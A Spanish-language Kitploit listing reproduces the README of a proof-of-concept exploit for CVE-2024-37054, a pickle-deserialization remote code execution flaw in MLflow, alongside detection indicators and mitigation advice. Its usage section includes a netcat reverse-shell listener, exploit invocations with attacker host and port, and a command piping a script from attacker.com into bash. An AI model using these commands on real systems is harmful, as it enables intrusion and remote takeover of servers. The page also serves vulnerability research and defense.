Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-37054 — Prueba de concepto de exploit para CVE-2024-37054, una RCE por deserialización de pickle en MLflow Tracking Server. Atacantes autenticados pueden sobrescribir artefactos de modelos para lograr ejecución remota de código. Incluye orientación de detección y mitigación. | Kitploit
Herramientas/GitHubGitHub/ben-slates/cve-2024-37054
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de Payloads
GitHubben-slates/cve-2024-37054

CVE-2024-37054

Prueba de concepto de exploit para CVE-2024-37054, una RCE por deserialización de pickle en MLflow Tracking Server. Atacantes autenticados pueden sobrescribir artefactos de modelos para lograr ejecución remota de código. Incluye orientación de detección y mitigación.

Ver Repositorio
545hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-37054 — Deserialización de Pickle en MLflow que permite RCE

Python CVE CVSS Affected License

Prueba de concepto (PoC) para una vulnerabilidad crítica de deserialización de pickle en MLflow Tracking Server que permite la ejecución remota de código autenticada.

⚠️ Solo con fines educativos y pruebas de seguridad autorizadas. No lo utilices contra sistemas que no poseas o para los que no tengas permiso explícito por escrito.


Resumen de la vulnerabilidad

CampoValor
ID de CVECVE-2024-37054
Puntuación CVSS8.8 (ALTA)
Vector CVSSCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Versiones afectadasMLflow < 2.14.3
Versión corregidaMLflow ≥ 2.14.3
Tipo de vulnerabilidadCWE-502: Deserialización de datos no confiables
Vector de ataqueRed
Privilegios requeridosBajos (credenciales válidas)
Interacción del usuarioNinguna

Descripción

MLflow Tracking Server deserializa artefactos de modelos mediante el módulo pickle de Python cuando carga modelos para inferencia. Un atacante autenticado puede sobrescribir el artefacto python_model.pkl en el repositorio de artefactos de MLflow con una carga útil de pickle maliciosa. Cuando el modelo se carga posteriormente (por ejemplo, durante una solicitud de predicción), la carga útil se deserializa y ejecuta código arbitrario en el servidor.

Requisitos previos para la explotación:

  • Acceso de red al MLflow Tracking Server
  • Credenciales válidas de MLflow (predeterminadas u otras)
  • Acceso de escritura a los artefactos (otorgado a todos los usuarios autenticados)

Impacto

Una explotación exitosa produce ejecución remota de código con el nivel de privilegio del proceso del servidor MLflow, lo que puede derivar en el compromiso total del sistema, exfiltración de datos, movimiento lateral o acceso persistente.


Cómo funciona el exploit

  1. Registro del modelo — Se sube un conjunto de datos de entrenamiento legítimo para crear una nueva ejecución de MLflow y registrar una versión del modelo con artefactos estándar.
  2. Sobrescritura del artefacto — El artefacto python_model.pkl se reemplaza con una carga útil de pickle manipulada mediante PUT /api/2.0/mlflow-artifacts/artifacts/....
  3. Activación de la deserialización — Una solicitud de predicción hace que MLflow invoque pickle.load() sobre el artefacto comprometido.
  4. Ejecución de código — El método __reduce__ del pickle invoca os.system() y ejecuta el comando del atacante.

La carga útil utiliza os.system() (un built-in de C) en lugar de cloudpickle para maximizar la compatibilidad entre versiones y evitar problemas de bytecode específicos de cada versión de Python.


Instalación

Requisitos: Python 3.7+, requests

root@kitploit:~
git clone https://github.com/ben-slates/CVE-2024-37054
cd CVE-2024-37054

Uso

root@kitploit:~
# Iniciar un listener
nc -lvnp 4444

# Ejecutar el exploit
python3 poc.py <TARGET_URL> <MLFLOW_URL> <LHOST> <LPORT>

Ejemplos

root@kitploit:~
# Credenciales predeterminadas, reverse shell básico
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444

# Credenciales personalizadas de MLflow
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --mlflow-creds admin:MySecretPass123

# Inicio de sesión en la aplicación + credenciales de MLflow
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --mlflow-creds admin:password \
    --app-username admin \
    --app-password admin123

# Comando personalizado en lugar de reverse shell
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --cmd "curl http://attacker.com/shell.sh | bash"

# Apuntar a un experimento específico, aumentar el retraso para servidores lentos
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --experiment-id 1 --delay 5

# Salida verbosa
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 -v

Opciones

ArgumentoDescripción
targetURL de la aplicación objetivo
mlflowURL del MLflow Tracking Server
lhostHost del atacante para el callback del reverse shell
lportPuerto del atacante para el callback del reverse shell
--mlflow-creds USER:PASSCredenciales de MLflow (predeterminado: admin:password)
--app-usernameNombre de usuario para el inicio de sesión en la aplicación
--app-passwordContraseña para el inicio de sesión en la aplicación
--app-login-urlRuta del endpoint de inicio de sesión
--upload-urlRuta del endpoint de subida
--predict-urlRuta del endpoint de predicción
--experiment-id IDApuntar a un ID de experimento específico
--delay SECONDSRetraso entre pasos (predeterminado: 2s)
--cmd COMMANDComando personalizado a ejecutar
--verbose / --quietControl de verbosidad
--no-colorDeshabilitar salida con colores

Detección

Indicadores de red

  • Solicitudes PUT a endpoints /api/2.0/mlflow-artifacts/artifacts/
  • Marcas de tiempo de modificación inesperadas en python_model.pkl
  • POST /api/2.0/mlflow/runs/search seguido inmediatamente de modificaciones de artefactos

Indicadores de host

  • Llamadas inesperadas a os.system() desde procesos de MLflow
  • Subprocesos de Python creados a partir de procesos de trabajo de MLflow
  • Conexiones salientes desde el servidor MLflow hacia hosts desconocidos

Consultas de registro

root@kitploit:~
# Modificación de artefactos en los registros de acceso
grep "PUT.*python_model.pkl" /var/log/mlflow/access.log

# Monitoreo de integridad de archivos
auditctl -w /opt/mlflow/artifacts/ -p wa -k mlflow_artifacts

Mitigación

Inmediata:

  • Actualizar MLflow a 2.14.3 o posterior
  • Rotar cualquier credencial predeterminada o débil
  • Restringir el acceso de red a los endpoints de la API de MLflow
  • Auditar el historial de modificaciones de artefactos para detectar signos de manipulación

A largo plazo:

  • Implementar firma de artefactos y verificación de integridad antes de cargar modelos
  • Usar el cumplimiento de firmas de modelo y restringir los sabores de modelo basados en pickle cuando sea posible
  • Habilitar el registro de auditoría de MLflow y alertar sobre escrituras inesperadas de artefactos

Entornos probados

  • MLflow 2.14.1 — Ubuntu 22.04, Python 3.10
  • MLflow 2.12.0 — Docker, Python 3.9
  • Varias configuraciones de despliegue: local, Docker, Kubernetes

Referencias

  • NVD — CVE-2024-37054
  • Aviso de seguridad de MLflow
  • CWE-502: Deserialización de datos no confiables
  • Documentación de MLflow — Model Registry

Aviso legal

Esta herramienta está destinada únicamente para:

  • Investigadores de seguridad que estudian vulnerabilidades de deserialización
  • Probadores de penetración que operan bajo autorización por escrito
  • Administradores de sistemas que auditan sus propios despliegues de MLflow
  • Uso educativo en entornos de laboratorio controlados

No utilices esta herramienta en ningún sistema que no poseas o para el que no tengas permiso explícito por escrito. El autor no asume ninguna responsabilidad por el mal uso.


Licencia

MIT — consulta LICENSE para más detalles.


Contacto

📧 [email protected]
🐛 Reportar un problema

Descargar herramienta